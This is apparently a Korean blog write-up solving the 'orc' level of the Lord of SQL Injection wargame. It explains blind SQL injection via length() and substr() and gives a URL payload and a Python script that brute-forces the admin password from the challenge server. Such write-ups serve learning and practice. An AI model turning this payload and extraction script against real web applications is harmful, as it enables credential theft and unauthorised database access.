소스코드 분석
$_GET[pw] = addslashes($_GET[pw]);
addslashes는 데이터 베이스에 저장이 될때 특수문자 앞에 \를 넣어준다.
ex)insert into test (id) values ('$a') 이런 쿼리문에 'LOS'라는걸 입력을 해서 저장을 한다고 할때
insert into test (id) values (''LOS'') 이런 에러를 피하기 위해서 적어준다.
addslashes 적용 -> insert into test (id) values ('\'LOS\'')
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";
$result = @mysql_fetch_array(mysql_query($query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
admin의 pw를 찾는 Blind SQL Injection 문제이다.
Blind SQL Injection는 결과값을 화면에 보여주지않고, 값이 참 또는 거짓 인지만 가지고 값을 찾아가는 방법이다.
length 함수를 사용해서 pw 길이부터 찾아본다. length 함수는 문자열 길이를 구하는 함수다.
ex)length('ABCDE') 일때 5가 리턴된다.
?pw=%27%20or%20length(pw)=8%20%20and%20id=%27admin%27%23
숫자를 바꿔가면서 찾으면 pw 길이를 알수있다.
문자열 길이를 알았으니 substr함수를 이용해서 pw를 찾아보자.
SUBSTR( string, position , [substring_length])
string : 입력 문자열을 지정한다. 입력 값이 NULL이면 결과로 NULL이 반환된다.
position : 문자열을 추출할 시작 위치를 지정.
substring_length : 추출할 문자열의 길이를 지정
ex) id= admin pw=12341234
이렇게 노가다로 풀수도 있다. 하지만 방법을 편하게 코딩을 해서 풀어보면
Python 3.x
import http.client
result=''
leng=0
header={'Cookie':' '}
string="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_-=+"
for i in range(1,100) :
length='/orc_47190a4d33f675a601f8def32df2583a.php?pw=%27%20or%20length(pw)='+str(i)+' and%20id=%27admin'
conn=http.client.HTTPConnection('los.eagle-jump.org')
conn.request('GET',length,'',header)
data=conn.getresponse().read()
if "Hello admin" in data.decode():
leng = i
print ("pw length: "+str(i))
break
for i in range(1,leng+1):
for j in range(0,76):
substr='/orc_47190a4d33f675a601f8def32df2583a.php?pw=%27%20or%20substr(pw,'+ str(i) +',1)='+'%27'+ str(string[j]) +'%27'+'and%20id=%27admin'
conn=http.client.HTTPConnection('los.eagle-jump.org')
conn.request('GET',substr,'',header)
data=conn.getresponse().read()
if 'Hello admin' in data.decode():
result=result+string[j]
print ('substr(pw,'+str(i)+',1)= '+str(string[j]))
break
print ('Password is '+result)
간편하게 패스워드가 출력된다.
'WarGame > Web' 카테고리의 다른 글
[Lord of SQL injection] darkelf (0) | 2017.05.25 |
---|---|
[Lord of SQL injection] wolfman (0) | 2017.05.24 |
[Lord of SQL injection] goblin (0) | 2017.05.24 |
[Lord of SQL injection] cobolt (0) | 2017.05.23 |
[Lord of SQL injection] gremlin (0) | 2017.05.23 |